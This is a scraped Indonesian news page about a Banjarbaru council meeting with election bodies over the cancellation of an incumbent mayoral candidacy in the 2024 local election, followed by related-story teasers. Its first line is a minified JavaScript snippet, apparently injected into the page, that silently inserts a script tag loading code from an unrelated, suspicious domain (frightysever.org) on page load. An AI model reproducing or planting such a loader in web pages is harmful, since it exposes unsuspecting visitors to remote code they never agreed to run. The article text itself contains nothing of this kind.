(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi I DPRD Kota Banjarbaru menggelar rapat bersama Komisi Pemilihan Umum (KPU) dan Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru.
Rapat bersama penyelenggara pemilu dipimpin Ketua Komisi I Ririk Sumari bersama anggota komisi bidang pemerintahan di ruang rapat DPRD Banjarbaru, Jumat (8/11/2024).
Rapat juga terkait Keputusan KPU Banjarbaru Surat KPU Nomor 124 tahun 2024 tentang pembatalan Calon Wali Kota dan Wakil Wali Kota nomor urut 2 Aditya Mufti Ariffin dan Said Abdullah.
Baca juga: KPU Banjarbaru Memulai Sortir Lipat Surat Suara Pilgub Kalsel, Ini Upahnya
Pemilihan Kepala Daerah (Pilkada) Kota Banjarbaru sebelumnya diikuti dua pasangan calon yakni pasangan Erna Lisa Halaby-Wartono bersama pasangan petahana Aditya Mufti Ariffin-Said Abdullah.
Namun dalam prosesnya, pasangan Aditya-Said Abdullah dibatalkan KPU Banjarbaru karena melanggar pasal 71 Ayat (3) Jo Ayat (5) UU Pilkada sehingga gagal dalam kontestasi pilkada pada 27 November 2024. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More
KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
This website uses cookies.